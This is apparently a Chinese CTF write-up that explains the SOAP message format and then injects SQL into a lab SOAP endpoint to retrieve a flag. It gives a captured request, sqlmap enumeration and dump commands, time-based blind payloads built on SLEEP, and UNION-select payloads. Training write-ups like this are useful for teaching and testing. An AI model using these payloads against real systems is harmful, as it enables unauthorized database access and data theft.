0b01 SOAP协议
- 即简单对象访问协议,是数据交换的一种协议规范,是一种轻量的、简单的、基于XML的协议,被设计成在WEB上交换结构化的和固化的信息。
SOAP=RPC+HTTP+XML
,即采用HTTP通信协议,RPC作为一致性的调用途径,XLM作为数据传送的格式。- 消息格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
</soap:Header>
<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>
</soap:Envelope>
<!--
Envelope 元素:可将 xml 文档标识为 soap 消息。
Header 元素:包含头部信息。
Body 元素:包含所有的调用和响应信息,当Body内有存在数据可控时,有可能存在注入。
Fault 元素:提供有关在处理此消息时所发生错误的信息。
--> - SOAP请求易受SQL注入攻击,提交参数作为变种 SQL 查询可以泄露敏感信息。
0o02 注入过程
burp suite下载插件:
Wsdler
。burp 抓取
http://47.103.94.191:8018/ws_soap.php?wsdl
页面请求包,并发送到Wsdler
模块(右键 –>Extensions
–>Wsdler
–>Parse WSDL
),将Parse WSDL
解析出来的SOAP请求包复制下来,可以直接丢到sqlmap梭一把,抑或手注。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22POST /ws_soap.php
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.103.94.191:8018/ws_soap.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pR1_sid=GqRRY0; ECS[display]=grid; ECS[history]=9%2C8; ECS[visit_times]=6
Connection: close
SOAPAction: urn:tickets_stock#get_tickets_stock
Content-Type: text/xml;charset=UTF-8
Host: 47.103.94.191:8018
Content-Length: 471
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
<soapenv:Header/>
<soapenv:Body>
<urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<title xsi:type="xsd:string">gero et</title>
</urn:get_tickets_stock>
</soapenv:Body>
</soapenv:Envelope>sqlmap自动化部分步骤
1
2
3
4
5
6
7
8
9
10
11// 拿到当前数据库 --> whalwl
sqlmap -r admin.txt --batch --current-db
// 拿到 flag 相关表 --> this_flag
sqlmap -r admin.txt --batch -D whalwl --tables
// 拿到 this_flag 表下关键字段 --> flag
sqlmap -r admin.txt --batch -D whalwl -T this_flag --columns
// 拿到flag(很慢,建议来把农药) --> flag{ba8b6a6f6e38ed7e173d03504132dbe8}
sqlmap -r admin.txt --batch -D whalwl -T this_flag -C flag --dump基于 sqlmap payload 的时间盲注(手注)
1
2
3
4
5
6
7
8
9
10
11
12
13// 根据 sqlmap 提供的payload——时间盲注
gero et' AND (SELECT 6543 FROM (SELECT(SLEEP(5)))woly) AND 'XqLo'='XqLo
// 构造判断当前数据库名长度——两层 select 语句
gero et' and (select 1 from(select if(length(database())=5,2,sleep(10)))tumei) -- -
// 猜当前库名,配合 burp 爆破
gero et' and (select 1 from(select if((select substr(database(),2,1)='h'),sleep(5),6))a) -- -
// ……猜flag,可以先猜内容长度,再进行爆破,减少非必要的时间,这里懒了
// 导出结果集,复制到excel进行排序提取内容,合并1列单元格:=TEXTJOIN("",TRUE,B2:B39)
// '{'参数被转义问题,解决:爆破模块 --> Payloads --> Payload Encding 处取消勾选,即可不被编码。
gero et' and (select 1 from(select if((select substr(flag,5,1) from this_flag limit 1,1)='{',sleep(5),6))tumei) -- -基于 awvs payload 的联合查询(手注)
- 看了下 awvs 的扫描结果,嘿?直接出库名?联想到前面写时间盲注时思考是否会有回显位(那时直接在
gero et
的基础上操作,压根没置-1
),果断修改 awvs payload 参数(重点:-1
,使前一个 select 语句无结果)。1
2
3
4
5// 直接拿到库名
-1' union select database() -- -
// 需要思路而已,其他老套路了,这里直接拿flag
-1' union select flag from this_flag limit 1,1 -- -
0x0c 完本总结
总的来讲,题目很基础,笔者很菜!一句话,贵在坚持、思考与行动!
- 本文标题:安鸾之SQL系列&余下部分
- 本文作者:涂寐
- 创建时间:2022-06-13 08:38:26
- 本文链接:article/aca8184b.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!